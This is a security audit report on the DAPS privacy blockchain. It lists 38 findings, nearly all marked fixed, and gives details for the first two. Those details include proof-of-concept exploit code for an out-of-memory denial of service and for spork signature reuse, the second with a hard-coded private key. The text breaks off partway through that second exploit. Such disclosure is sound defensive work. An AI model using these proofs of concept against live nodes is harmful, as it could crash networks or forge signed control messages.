# Contents

1. Introduction ........................................................................................................................................ 4
2. Executive Summary ........................................................................................................................... 5
3. Scope and Coverage ........................................................................................................................... 6
4. Recommendations .............................................................................................................................. 8
5. Protocol Overview ............................................................................................................................. 9
6. Conclusions ......................................................................................................................................... 11
7. Identified Vulnerabilities .................................................................................................................... 12
   7.1 Vulnerability Severity ..................................................................................................................... 12
   7.2 Methodology ................................................................................................................................... 13
   7.3 Automatic Static Analysis ............................................................................................................... 14
   7.4 Manual Code Analysis ................................................................................................................... 15
   7.5 List of vulnerabilities ...................................................................................................................... 17
   7.6 Vulnerability details ....................................................................................................................... 19

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>OOM in CScriptCompressor: UTXO entries with invalid script length</td>
<td>20</td>
</tr>
<tr>
<td>02</td>
<td>Inconsistent and Reusable Signature Scheme</td>
<td>22</td>
</tr>
<tr>
<td>03</td>
<td>BoF in Ring Signatures Decoys</td>
<td>26</td>
</tr>
<tr>
<td>04</td>
<td>Denial of Service via Infinite HTTP Headers</td>
<td>29</td>
</tr>
<tr>
<td>05</td>
<td>Denial of Service via Read timeout</td>
<td>31</td>
</tr>
<tr>
<td>06</td>
<td>Denial of Service via client request input</td>
<td>33</td>
</tr>
<tr>
<td>07</td>
<td>Minimum Ring Size Renders Transactions Vulnerable to DeAnonymization Attacks</td>
<td>35</td>
</tr>
<tr>
<td>08</td>
<td>CSRF in Vendor Confirmation</td>
<td>37</td>
</tr>
<tr>
<td>09</td>
<td>BoF in CWallet::generateBulletProofAggregate</td>
<td>40</td>
</tr>
<tr>
<td>10</td>
<td>Insecure Two-Factor Authentication (2FA) Mechanism</td>
<td>42</td>
</tr>
<tr>
<td>11</td>
<td>Master Password is Not Hashed Using a Standard Password Hashing Scheme</td>
<td>44</td>
</tr>
<tr>
<td>12</td>
<td>Passphrase encryption complexity not enforced</td>
<td>45</td>
</tr>
<tr>
<td>13</td>
<td>Inconsistent GetP2SHSigOpCount method</td>
<td>49</td>
</tr>
<tr>
<td>14</td>
<td>CVE-2013-2292 Excessive Resource Exhaustion</td>
<td>51</td>
</tr>
<tr>
<td>15</td>
<td>Log Injection in debug</td>
<td>53</td>
</tr>
<tr>
<td>16</td>
<td>Unexpected Behavior via truncated peers.dat</td>
<td>56</td>
</tr>
<tr>
<td>17</td>
<td>Wrong logic implementation for ParseInt and ParseBool methods</td>
<td>58</td>
</tr>
<tr>
<td>18</td>
<td>Denial of Service via Spork messages</td>
<td>59</td>
</tr>
<tr>
<td>19</td>
<td>Incomplete Source Code</td>
<td>62</td>
</tr>
<tr>
<td>20</td>
<td>Minor Potential Logic Errors</td>
<td>64</td>
</tr>
<tr>
<td>21</td>
<td>PoS Nodes Have an Unfair Advantage over non-stakeholders at PoA</td>
<td>68</td>
</tr>
<tr>
<td>22</td>
<td>Potential Memory Leaks</td>
<td>69</td>
</tr>
<tr>
<td>23</td>
<td>Crash in getpoolsinfo RPC command (SIGSEGV)</td>
<td>71</td>
</tr>
<tr>
<td>24</td>
<td>Memory Access Violation - Merkleblock</td>
<td>74</td>
</tr>
<tr>
<td>25</td>
<td>Absence of Privacy-focused Broadcast Protocol</td>
<td>76</td>
</tr>
<tr>
<td>26</td>
<td>Integer Overflow could lead to Random Memory Access</td>
<td>77</td>
</tr>
<tr>
<td>27</td>
<td>Insecure randomness</td>
<td>80</td>
</tr>
<tr>
<td>28</td>
<td>Insecure File Modifying</td>
<td>82</td>
</tr>
<tr>
<td>29</td>
<td>No PIE mitigation implemented in default compilation in Ubuntu 16.04.6 LTS</td>
<td>84</td>
</tr>
<tr>
<td>30</td>
<td>Wrong Logic implementation in getaccount method</td>
<td>86</td>
</tr>
</tbody>
</table>
31 - OOM by unchecked arguments ................................................................. 87
32 - Possible Insecure method ................................................................. 88
33 - Wallet Recovery Procedure .................................................................. 89
34 - Usage of Uninitialized Variables ....................................................... 90
35 - Information Exposure Through Comments ........................................ 91
36 - Dead Code ...................................................................................... 94
37 - Outdated Inherited Code ................................................................. 97
38 - Unnecessary Code for Business Logic ............................................. 103

8. Bibliography .................................................................................. 105
9. Annexes ...................................................................................... 106
   Annex A List of conducted tests .......................................................... 107
   Annex B Audited Coverage ............................................................... 110
   Annex C Fuzzing Testing ................................................................. 113
1. Introduction

The **Decentralized Anonymous Payment System** (DAPS) is a "hybrid PoW-PoS-PoA" planned privacy blockchain system that focuses on security, scalability and total obfuscation. The DAPS blockchain aims to provide complete obfuscation of all of its users and transactions while employing their novel trustless hybrid blockchain and consensus mechanism.

In order to achieve these goals, DAPS implemented their "Harpocrates Protocol" using proprietary cryptographic (Pederson Commitments, RingCT, Bulletproofs) and blockchain consensus (PoS, PoA, Masternodes) modules.

The main goal of DAPS protocol is to create the most private blockchain to date, with a fully anonymous staking coin and payment system, with a trustless governance structure, anonymizing assets and securing an infrastructure for development of further precedent-setting technology.

DAPS protocol implementation offers the following features:

- Ring CT.
- Bulletproofs.
- Stealth Addresses.
- Stealth Transactions.
- Proof of Audit.

This report has been performed by Red4Sec Cybersecurity as a **blockchain security audit** and **cryptographic assessment**, which covers DAPS with a great focus on its source code, cryptographic components, network and security protocols, as well as implementation and configuration errors.

This is a final and **complete security audit** which includes all the tests performed and vulnerabilities discovered in DAPS by Red4Sec at the time of the audit.

All information collected here is strictly **CONFIDENTIAL** and may only be distributed by DAPS with Red4Sec express authorization.
2. Executive Summary

As requested by DAPS and as part of the vulnerability review and management process, Red4Sec has been asked to perform a security code audit and a cryptographic assessment in order to evaluate the security of the DAPS blockchain source code.

This security audit has been carried out during the last two months, between the dates: 01/07/2019 and 01/09/2019.

Once the analysis of the technical aspects of the environment has been completed, the performed analysis shows that the audited source code present different vulnerabilities that can affect the integrity, confidentiality or availability of the data and that should be mitigated as soon as possible.

During the analysis, a total of 38 vulnerabilities and several miscellaneous issues were detected among which are some of critical-high risk. Always keep in mind that some of these vulnerabilities do not pose any risk by themselves and therefore have been classified as informative.

All these vulnerabilities have been classified in the following levels of risk according to the impact level defined by CVSS v3 (Common Vulnerability Scoring System) by the National Institute of Standards and Technology (NIST):

![Vulnerability Summary Diagram]

Red4Sec has been able to determine that the overall security level of the asset is positive, since all the vulnerabilities initially detected that could compromise the security of the asset and their users have already been fixed.
3. Scope and Coverage

The general purpose of the security audit review was to know the status and level of security of DAPS Blockchain, identifying possible design, configuration or programming errors, guaranteeing the confidentiality, integrity and availability of accessible, treated and stored information.

The scope of this evaluation includes:

- **Description**: Blockchain Source Code Audit – DAPS Coin.

- **Projects**:
  - **Core**: [https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src](https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src)
  - **QT Wallet**: [https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src/qt](https://github.com/ArcadiaMediaGroup/DAPS/tree/develop/src/qt)

- **Coverage**:
  1. Implementation (C++):
     - Stealth Transaction & Computation of Transaction Fees.
     - Encoding Transaction Amount.
     - Decoding Transaction Amount.
     - Creation of the Ring Signature/RingCT.
     - Selection of Decoys.
     - Ensuring that all selected decoys have not been spent.
     - Pedersen Commitment Implementation Library.
     - Bulletproofs Implementation Library.
     - Creation of the Stealth Address.
     - Validation of a Stealth Address.
     - Creation of a Bulletproof.
     - Validation of a Stealth Transaction.
     - Broadcasting a Stealth Transaction to the Network.
     - Inclusion of a Stealth Transaction in a PoS Block.
     - Creating and Verifying Key Image Correctness in Staking Transactions via Schnorr signatures.
     - Consensual Acceptance of a Valid PoS Block.
     - Consensual Acceptance of a Valid Stealth Transaction.
     - Creation of PoA block.
     - Validation of PoA Block Data.
     - Adding PoA Blocks to the Hybrid Chain.
     - Staking, Mining, and Minting Components.
• Blockchain Components.
• Cryptographic Components (Public Key, Key, Hash).

• Complete obfuscation of all users and transactions.
• Hybrid blockchain and consensus mechanism.
• Mandatory stealth addresses.

3. Cryptographic Assessment.

4. Risk Assessment (included in DAPS_Risk_Assessment.pdf deliverable).

Within this scope, the files specified in Annex B have been examined thoroughly and compared against the latest security practices and standards.

The client software has been subjected to systematic automated and manual analysis as well as operational and fuzzing tests in order to locate possible vulnerabilities that the software might contain. Afterwards, we proceeded to verify whether each of these vulnerabilities are exploitable or not and define the impact in order to discard all false positives and measure the impact of real security flaws.

The security audit has been provided by security certified professionals, auditing and assessing the project in accordance with our professionalism and following industry best practices. However, this technical security report cannot guarantee or assure completely the non-existence of vulnerabilities as well as the emergence of new vulnerabilities in the future.

The duration of this audit has taken around three months, including the Core, QT Wallets, report documentation and mitigations support.

• **Blockchain & QT Wallet Source Code Audit:**
  
  01/07/2019 - 26/08/2019

• **Final Report Documentation:**
  
  26/08/2019 - 01/09/2019

• **Mitigations Review:**
  
  03/09/2019 - 18/09/2019

Tests have been conducted from different points of view:

• Private Network.
• DAPS Development Network.
4. Recommendations

For the resolution of the exposed vulnerabilities, the following actions are recommended:

- Solve vulnerabilities in descending order of risk. The affected functions or methods should be adapted according to the detailed recommendations proposed by Red4Sec in the identified vulnerabilities section.

- Once all the vulnerabilities have been resolved, pay special attention to one of the documents provided by Red4Sec, which includes some small issues and improvements that may prevent future vulnerabilities.

- Special care should be put in those functionalities which trigger interaction with external network elements. Besides DAPS coin network synchronization and transactions, no network activity should be started without asking the user for consent.

- Review the operation of all RPC commands and discard all commands that are deprecated or non-functional and might have an impact on the security of the blockchain.

- Unused or redundant components should be removed from the code tree.

- Since DAPS is a privacy-focused cryptocurrency, it should integrate any kind of distribution protocol focused on privacy such as Dandelion++.

- Static and dynamic analysis should be integrated in the SDLC (Software Development Life Cycle). Additionally, fuzzing of sensitive components could also be integrated in the development cycle.

- Although a great part of DAPS source code is self-made and introduces new innovative developments, an old version of the Bitcoin and PIVX code was identified as underlying base version. For that reason, it is advisable to check all the updates and apply the fixes introduced in its original code.

- Apply good practice techniques in source code and improve the structure, style and organization of the code as far as possible.

- Increase the unit test coverage, especially in DAPS own implementations, and include them in the SDLC.

- Do insist on the periodic review of services, applications and source code, as well as correcting errors detected in previous reviews.

It is therefore recommended to include, in the system designs, safety requirements that can be tested in later phases to apply safe programming techniques and to introduce, in the pre-production stages, specific safety tests, such as code revisions source or the one carried out in this project.
5. Protocol Overview

DAPS team aims to enter the "privacy-oriented cryptocurrency" market by launching their new asset: The DAPS Coin. Governed by the "Harpocrates Protocol", DAPS will attempt to set itself apart from established projects with which it shares the market.

This section will provide a general overview of the DAPS network.

The DAPS coin operates on a novel blockchain design which incorporates three main types of blocks: Proof of Work (PoW), Proof of Stake (PoS), and Proof of Audit (PoA). Prior to accepting any PoS or PoA blocks, and in order create an initial supply of 60,000,000,000 DAPS, the DAPS team will mine precisely 500 PoW blocks privately without receiving any rewards.

After block #500, the initial supply of 60B DAPS will be Airdropped, and PoS/PoA blocks submitted from public users will be accepted on the chain. For each block mined, an additional 1,050 DAPS would be added to the total supply of DAPS. 50 DAPS from this amount would be sent to the DAPS Development fund.

The remaining 1,000 DAPS would be amount will be split and distributed as block rewards. The total supply of DAPS coins is designed to be capped at 70B DAPS (60B Airdrop + 10B Rewards).

PoS and PoA blocks will be added on the chain in a periodic fashion. Every minute, one PoS block is accepted, while every 59 minutes one, a slot for accepting a PoA is generated, and a PoA block is accepted. The protocol designers aim to have at least 59 PoS blocks between every two consecutive PoA blocks.

The general purpose of PoS blocks is to process transactions, while that of PoA blocks is to audit PoS blocks for correctness; to be accepted, a PoA block must audit at least 59 PoS blocks that were not audited by a previous PoA block.

The DAPS network also allows a special kind of nodes called "master node". The purpose of these nodes is increasing the number of redundant nodes hosting a copy of the blockchain and providing special services such as "instant send". One can own a master node by collateralizing 1M DAPS that get placed on lock.

A master node operator will be provided a share from block rewards mentioned above in return for their contributions to the network. It is assumed that a master node is to be trusted because of the amount it has in collateral, and thus holds a legitimate copy of the blockchain.

DAPS enforce a proprietary stealth system that obfuscates senders, recipients, and transaction amounts on their network while prohibiting double-spending or the creation of coins out of thin air.
This system is the result of combining properties of cryptographic tools like secp256k1, RingCT, and Bulletproofs. The first two ensure sender and receiver anonymity through the use of key images and one-time view/spend keys for every transaction.

The added value of RingCT comes from hiding the true transaction between a number of multiple decoy transactions that return unspent coins to their respective owners (using anonymous addresses). Bulletproofs are used to provide zero-knowledge range proof on the values of aforementioned transactions.

This way, all transaction values, while hidden, are proven to be positive, and the RingCT comparison check between transaction inputs and outputs would not be bypassed.
6. Conclusions

The general conclusions of the performed audit are:

- The overall impression about code quality and organization is very positive although Red4Sec has given some additional recommendations on how to continue improving.

- Critical and high-risk vulnerabilities were detected during the security audit. These vulnerabilities have already been fixed by DAPS development team.

- Some of the detected vulnerabilities do not pose any risk by themselves and have been classified as informative or low risk vulnerabilities. However, all the proposed recommendations have been applied in order to improve the project source code and ecosystem.

- The most critical vulnerabilities are related to denial of services and bad memory management failures, the use of inherited code, signature scheme reusability issues and unintended consequences that may result from having randomized low ring size for stealth transactions.

- Multiples issues were identified around the QT Wallets. The vast majority of them were related to design (2FA mechanisms and hashing schemes), loss of privacy and memory management. All these issues have already been solved.

- A review of the cryptographic elements of DAPS C++ implementation yielded significant findings that have already been reviewed and fixed. On the other hand, cryptographic primitives were found to be secure, correctly designed and implemented.

- In order to deal with the detected vulnerabilities, an action plan was elaborated to guarantee its resolution, prioritizing those vulnerabilities of greater risk and trying not to exceed the maximum recommended resolution times. The action plan was then followed to completion and all issues have been resolved.

Special thanks to Andrew Huntley, Chief Technical Officer for his excellent support and assistance during the security audit. Communication process was exceptionally well-handled since some of the most critical detected vulnerabilities have been immediately fixed at the time they were detected by Red4Sec, mitigating the possible impact and repercussion that could cause to the project.
7. Identified Vulnerabilities

In this section, you can find a detailed analysis of the vulnerabilities encountered during the source code audit.

7.1 Vulnerability Severity

The risk classification has been made on the following 5-value scale:

- **Critical**
  - Vulnerabilities that possess the highest impact over the systems, services and/or sensitive information. The existence of these vulnerabilities is dangerous and should be fixed as soon as possible.

- **High**
  - Vulnerabilities that could compromise severely of the service or the information it manages even if the vulnerability requires expertise to be exploited.

- **Medium**
  - Vulnerabilities that on their own could have a limited impact or that combined with other vulnerabilities could have a greater impact.

- **Low**
  - This vulnerabilities do not pose a real risk for the systems. Also includes vulnerabilities which are extremely hard to exploit or whose impact on the service is low.

- **Informative**
  - It covers multiple characteristics, information or behaviours that could be considered as inappropriate, without being considered as vulnerabilities by themselves.
7.2 Methodology

All the tests and processes carried out for the achievement of the present project, are included in methodologies and standards recognized and accepted by the international community of software and communications security.

Some examples are MITRE-CWE that lists the most widespread weaknesses of software, as well as SEI CERT C++ Coding Standard.


The main purpose of this standard is to establish a set of security verifications and best practices, which sometimes requires introducing new practices that may not be widely known or used when existing practices are inadequate.

The guidelines and rules defined in this standard are intended to improve the security of software by enhancing knowledge and practices that software developers use. These rules are enumerated below:

1. Declarations and Initialization (DCL)
2. Expressions (EXP)
3. Integers (INT)
4. Containers (CTR)
5. Characters and Strings (STR)
6. Memory Management (MEM)
7. Input Output (FIO)
8. Exceptions and Error Handling (ERR)
9. Object Oriented Programming (OOP)
10. Concurrency (CON)
11. Miscellaneous (MSC)

Additionally, auditors relied on their own experience, using their own methodologies to and personal experience to prioritize and perform the tests considered more relevant.
7.3 Automatic Static Analysis

In addition to manual analysis, an **automatic static code analysis** is performed and used to cover the entire code base and identify possible vulnerable patterns.

Automatic static analysis is always supplemented with additional secure coding lifecycle methods which allows to increase the security of the code. The security flaws identified during this phase still requires human inspection to determine whether the automatically-generated warning is false positive or not.

The main goal of this phase is to ensure that all procedural aspects of a code review are covered.

In DAPS security audit, some of the most in-demand tools were used to analyze the full source code:

- Fortify Static Code Analyzer.
- Open Source Tools: CodeChecker, Cppcheck and Flawfinder.

The automatic analysis has identified a total of 2981 issues of which 1649 were within the scope and have been reviewed and investigated thoroughly. After a long triage process, some of the most important vulnerabilities have been notified to DAPS team and have been included both documents (*DAPS_Automatic_Analysis.xlsx* and *DAPS_Fortify_Automatic_Analysis.pdf*) which are attached along with this final report.

The vast majority has been discarded as a false positive, and a few others (good practices and informative issues) have been notified directly to the developer team.

After this process, a comprehensive manual review of the code has been carried out.
7.4 Manual Code Analysis

Manual code analysis is the process of evaluating source code line-by-line and business logic in an attempt to identify security flaws and vulnerabilities.

During the code audit, different phases have been carried out for the correct understanding of the project as well as the code that implements it.

After analyzing all the information about the project, including whitepaper and the technical documentation provided by DAPS team and Arcadia Group developers, we proceeded with the code compilation and setting up the blockchain environment.

In this process we used different Docker images prepared for the deployment of a “beta network” and continuous integration (CI). Several changes were made to these images in the compilation parameters in order to extract the maximum information at compilation time.

After this process, we proceeded to change the settings in the code to compile it and build our own private network, which has been used during all the audit to perform different tests and simulations.

The last step and one of the most important aspects of the manual analysis is to prepare the fuzzing environment. Dynamic and fuzzing testing process is described in Annex C.

The full code was reviewed several times, splitting this process into several phases and analyzing the code based on several different approaches. The most important and sensitive areas were identified for further analysis in debug mode.

Within the phases defined in the manual code analysis, we divide them into:

1. Identification of sensitive areas:
   o At this point, the zones of the code that handle data, structures and types of data that contain sensitive information, such as weights and voting system, are identified. It is important to also consider the persistence of data, and concurrent access to memory zones.

2. Evaluation of data types and expressions:
   o Once the sensitive areas are identified, conditional blocks or loops that control access to those areas are identified. The expressions and types of data are analyzed to identify if it is possible to manipulate the restrictions by modifying the value of the data, and if it has tried to exceed the limits in the loops and cause uncontrolled failures.
3. Application logic:
   - Once the operation of the software is understood, situations that could be ambiguous without the appropriate context are identified. From this point, attacks are conducted to test the logic of the application and unexpected behavior that could be caused.

4. Concurrent access:
   - The critical areas are listed and the concurrent accesses are analyzed to verify that the flow of access to them is correctly controlled. It is checked if mutex and semaphores are properly established so that they block and unblock their access properly.

5. Dynamic memory management:
   - Identify code areas that dynamically manage data and track it. The objective is to identify incorrect memory management or memory zones not released. All this could cause excessive and uncontrolled memory consumption problems.
7.5 List of vulnerabilities

Below we have a complete list of the vulnerabilities detected by Red4Sec, presented and summarized in a way that can be used for risk management and mitigation.

<table>
<thead>
<tr>
<th>Id.</th>
<th>Vulnerability</th>
<th>Risk</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>OOM in CScriptCompressor: UTXO entries with invalid script length</td>
<td>Critical</td>
<td>Fixed</td>
</tr>
<tr>
<td>02</td>
<td>Inconsistent and Reusable Signature Scheme</td>
<td>Critical</td>
<td>Fixed</td>
</tr>
<tr>
<td>03</td>
<td>BoF in Ring Signatures Decoys</td>
<td>Critical</td>
<td>Fixed</td>
</tr>
<tr>
<td>04</td>
<td>Denial of Service via Infinite HTTP Headers</td>
<td>High</td>
<td>Fixed</td>
</tr>
<tr>
<td>05</td>
<td>Denial of Service via Read timeout</td>
<td>High</td>
<td>Fixed</td>
</tr>
<tr>
<td>06</td>
<td>Denial of Service via client request input</td>
<td>High</td>
<td>Fixed</td>
</tr>
<tr>
<td>07</td>
<td>Minimum Ring Size Renders Transactions Vulnerable to DeAnonymization Attacks</td>
<td>High</td>
<td>Fixed</td>
</tr>
<tr>
<td>08</td>
<td>CSRF in Vendor Confirmation</td>
<td>High</td>
<td>Fixed</td>
</tr>
<tr>
<td>09</td>
<td>BoF in CWallet::generateBulletProofAggregate</td>
<td>High</td>
<td>Fixed</td>
</tr>
<tr>
<td>10</td>
<td>Insecure Two-Factor Authentication (2FA) Mechanism</td>
<td>High</td>
<td>Fixed</td>
</tr>
<tr>
<td>11</td>
<td>Master Password is Not Hashed Using a Standard Password Hashing Scheme</td>
<td>Medium</td>
<td>Fixed</td>
</tr>
<tr>
<td>12</td>
<td>Passphrase encryption complexity not enforced</td>
<td>Medium</td>
<td>Fixed</td>
</tr>
<tr>
<td>13</td>
<td>Inconsistent GetP2SHSigOpCount method</td>
<td>Medium</td>
<td>Fixed</td>
</tr>
<tr>
<td>14</td>
<td>CVE-2013-2292 Excessive Resource Exhaustion</td>
<td>Medium</td>
<td>Fixed</td>
</tr>
<tr>
<td>15</td>
<td>Log Injection in debug</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>16</td>
<td>Denial of Service via truncated peers.dat</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>17</td>
<td>Wrong logic implementation for ParseInt and ParseBool methods</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>Severity</td>
<td>Status</td>
</tr>
<tr>
<td>---</td>
<td>-----------------------------------------------------------------------------</td>
<td>----------</td>
<td>----------</td>
</tr>
<tr>
<td>18</td>
<td>Denial of Service via Spork messages</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>19</td>
<td>Incomplete Source Code</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>20</td>
<td>Minor Potential Logic Errors</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>21</td>
<td>PoS Nodes Have an Unfair Advantage over non-stakeholders at PoA</td>
<td>Low</td>
<td>Assumed</td>
</tr>
<tr>
<td>22</td>
<td>Potential Memory Leaks</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>23</td>
<td>Crash while invoke RPC command getpoolinfo (SIGSEGV)</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>24</td>
<td>Memory Access Violation - Merkleblock</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>25</td>
<td>Absence of Privacy-focused Broadcast Protocol</td>
<td>Low</td>
<td>Assumed</td>
</tr>
<tr>
<td>26</td>
<td>Integer Overflow could lead to Random Memory Access</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>27</td>
<td>Insecure randomness</td>
<td>Low</td>
<td>Fixed</td>
</tr>
<tr>
<td>28</td>
<td>Insecure File Modifying</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>29</td>
<td>No PIE mitigation implemented in default compilation in Ubuntu 16.04.6 LTS</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>30</td>
<td>Wrong Logic implementation in getaccount method</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>31</td>
<td>OOM by unchecked arguments</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>32</td>
<td>Possible Insecure method</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>33</td>
<td>Wallet Recovery Procedure</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>34</td>
<td>Usage of Uninitialized Variables</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>35</td>
<td>Information Exposure Through Comments</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>36</td>
<td>Dead Code</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>37</td>
<td>Outdated Inherited Code</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
<tr>
<td>38</td>
<td>Unnecessary Code for Business Logic</td>
<td>Informative</td>
<td>Fixed</td>
</tr>
</tbody>
</table>
7.6 Vulnerability details

In this section, we provide the details of each detected vulnerabilities indicating the following aspects:

- Category
- Active
- Risk
- Description
- Recommendations
01 - OOM in CScriptCompressor: UTXO entries with invalid script length

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Memory Management</td>
<td>/src/compressor.h</td>
<td>Critical</td>
</tr>
</tbody>
</table>

**Description:**

An out of memory vulnerability (OOM) has been detected. This vulnerability is inherited from an already known vulnerability previously reported in Bitcoin code.

On 24 Apr 2016, Bitcoin[^1] fixed an out of memory failure that allowed an attacker to create a script that allocates more memory than necessary for processing. With the abusing of a compression functionality, a vector is resized according to a size controlled by the attacker. Using a truncated script, an attacker could perform a denial of service on the nodes remotely.

The risk of this vulnerability is critical due to the high availability required by this kind of networks. In the following evidence you can see the unfixe[d vulnerability within the DAPS code (compressor.h).

```c
void Unserialize(Stream & s, int nType, int nVersion)
{
    unsigned int nSize = 0;
    s >> VARINT(nSize);
    if (nSize < nSpecialScripts) {
        std::vector<unsigned char> vch(GetSpecialSize(nSize), 0x00);
        s >> REF(CFlatData(vch));
        Decompress(nSize, vch);
        return;
    }
    nSize -= nSpecialScripts;
    script.resize(nSize);
    s >> REF(CFlatData(script));
}
```

**Code reference**

- [https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9dd9a0c1/src/compressor.h#L93](https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9dd9a0c1/src/compressor.h#L93)

Also, Bitcoin code implemented a new method `CAutoFile& ignore()` which is not present in the DAPS code:

- [https://github.com/bitcoin/bitcoin/commit/5d0434d13d0145a110c0c93e59edfd7d062f8531#diff-eb3b977a68473a9d20093cbe90c659e6R409](https://github.com/bitcoin/bitcoin/commit/5d0434d13d0145a110c0c93e59edfd7d062f8531#diff-eb3b977a68473a9d20093cbe90c659e6R409)

**Bitcoin code**

- [https://github.com/bitcoin/bitcoin/commit/5d0434d13d0145a110c0c93e59edfd7d062f8531](https://github.com/bitcoin/bitcoin/commit/5d0434d13d0145a110c0c93e59edfd7d062f8531)
In order to prove the existence of this vulnerability, we prepared an exploit as a small proof of concept.

```cpp
#include <openssl/bn.h>
#include <iostream>
#include "amount.h"
#include "compressor.h"
#include "serialize.h"
#include "streams.h"
using namespace std;

int main(int argc, char *argv[]) {
    CDataStream stream(1,2);
    unsigned long nSize = 999999999999;
    stream << VARINT(nSize);

    CScript script;
    CScriptCompressor compressor(script);

    compressor.Unserialize(stream,1,2);
    return 1;
}
```

As you can see in the following evidence, using this code allows us to locally create a `CDataStream` variable with `nsize = 1410065401`.

### Recommendations:

- It is recommended to perform adequate input validation against any value that influences the amount of memory that is allocated.
- Apply security patches implemented in bitcoin's inherited code.
02 - Inconsistent and Reusable Signature Scheme

<table>
<thead>
<tr>
<th>Category</th>
<th>Active</th>
<th>Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Algorithm poorly implemented</td>
<td>/src/masternode-payments.cpp</td>
<td>Critical</td>
</tr>
<tr>
<td></td>
<td>/src/spork.cpp</td>
<td>CWE-347</td>
</tr>
</tbody>
</table>

**Description:**

During the security audit, Red4Sec has identified a critical risk vulnerability which is repeatedly located throughout the entire DAPS code. This vulnerability occurs due to a flaw in the way the signatures are used.

As it can be seen in the following examples, the content to be signed is composed of a representation of strings, rather than being composed of their binary representation. This is a weak signature scheme design which would allow the reuse of signatures in some cases or event reuse signatures of one type of message in another type.

In order to prove this vulnerability, we will use the following snippet code:

```cpp
bool CMasternodePaymentWinner::Sign(CKey& keyMasternode, CPubKey& pubKeyMasternode)
{
    std::string errorMessage;
    std::string strMasterNodeSignMessage;
    std::string payeeString(payee.begin(), payee.end());

    std::string strMessage = vinMasternode.prevout.ToStringsShort() +
                            boost::lexical_cast<std::string>(nBlockHeight) +
                            payeeString;

    if (!lobuSctionSigner.SignMessage(strMessage, errorMessage, vchSig, keyMasternode)) {
        LogPrint("Masternode","CMasternodePing::Sign() = Error: %s\n", errorMessage.c_str());
        return false;
    }

    if (!lobuSctionSigner.VerifyMessage(pubKeyMasternode, vchSig, strMessage, errorMessage)) {
        LogPrint("Masternode","CMasternodePing::Sign() = Error: %s\n", errorMessage.c_str());
        return false;
    }

    return true;
}
```

**Code reference:**

https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9dd9a0c1/src/masternode-payments.cpp#L469-L476
02 - Inconsistent and Reusable Signature Scheme

To create and sign a message (strMessage) the `CMasternodePaymentWinner` function concatenates 3 different values:

- `vinMasternode.prevout`
- `nBlockHeight`
- `payeeString`

If we represent the concatenation of these values in string format, the signature would be identical in the following cases:

- `nBlockHeight = "1", payeeString "0"`
- `nBlockHeight = "10", payeeString ""`

For this reason, the message that would be signed would be identical even if the payloads are totally different.

This same behavior can be located in Spork signatures.

```cpp
bool CSporkManager::Sign(CSporkMessage& spork)
{
    std::string strMessage = boost::lexical_cast(std::string)(spork.nSporkID) + boost::lexical_cast(std::string)(spork.nValue) + boost::lexical_cast(std::string)(spork.nHeight) + boost::lexical_cast(std::string)(spork.nIndex) + boost::lexical_cast(std::string)(spork.nReserved);
    CKey key2;
    CPubKey pubkey;
    std::string errorString = "";

    if (!lobfuscationSigner.GetKey(strMessage, errorMessage, key2, pubkey)) {
        LogPrintf("CMasterNodePayments::Sign - ERROR: Invalid masternodeprivkey: %s\n", errorString);
        return false;
    }

    if (!lobfuscationSigner.SignMessage(strMessage, errorMessage, spork.vchSig, key2)) {
        LogPrintf("CMasterNodePayments::Sign - Sign message failed\n");
        return false;
    }

    if (!lobfuscationSigner.VerifyMessage(pubkey, spork.vchSig, strMessage, errorMessage)) {
        LogPrintf("CMasterNodePayments::Sign - Verify message failed\n");
        return false;
    }

    return true;
}
```

Code reference:
https://github.com/ArcadiaMediaGroup/DAPS/blob/4b7461d2de70296b0f3104c952e1e7fe9dd9a0c1/src/spork.cpp#L191

In the following proof of concept (PoC) it can be verified how two different messages are signed by the same BIP16 key. In this situation, a malicious user could collect the signatures used in the sporks.
02 - Inconsistent and Reusable Signature Scheme

To later build its own spork and reuse these signatures to add them to the new message. The network would accept it as a valid spork.

**Exploit Code:**

```cpp
#include <iostream>
#include "spork.h"

void exploit()
{
    CSporkMessage a; a.nSporkID=1; a.nValue=0; a.nTimeSigned=100;
    CSporkMessage b; b.nSporkID=101;b.nValue=0; b.nTimeSigned=0;

    CSporkManager manager;
    manager.SetPrivKey("87XXxbBfpECKFBVkJ4CgdjTAX9YDHsZYGiw9RTsMGUpu1YwdE");
    manager.Sign(a);
    manager.Sign(b);

    auto ha=HexStr(a.vchSig,false);
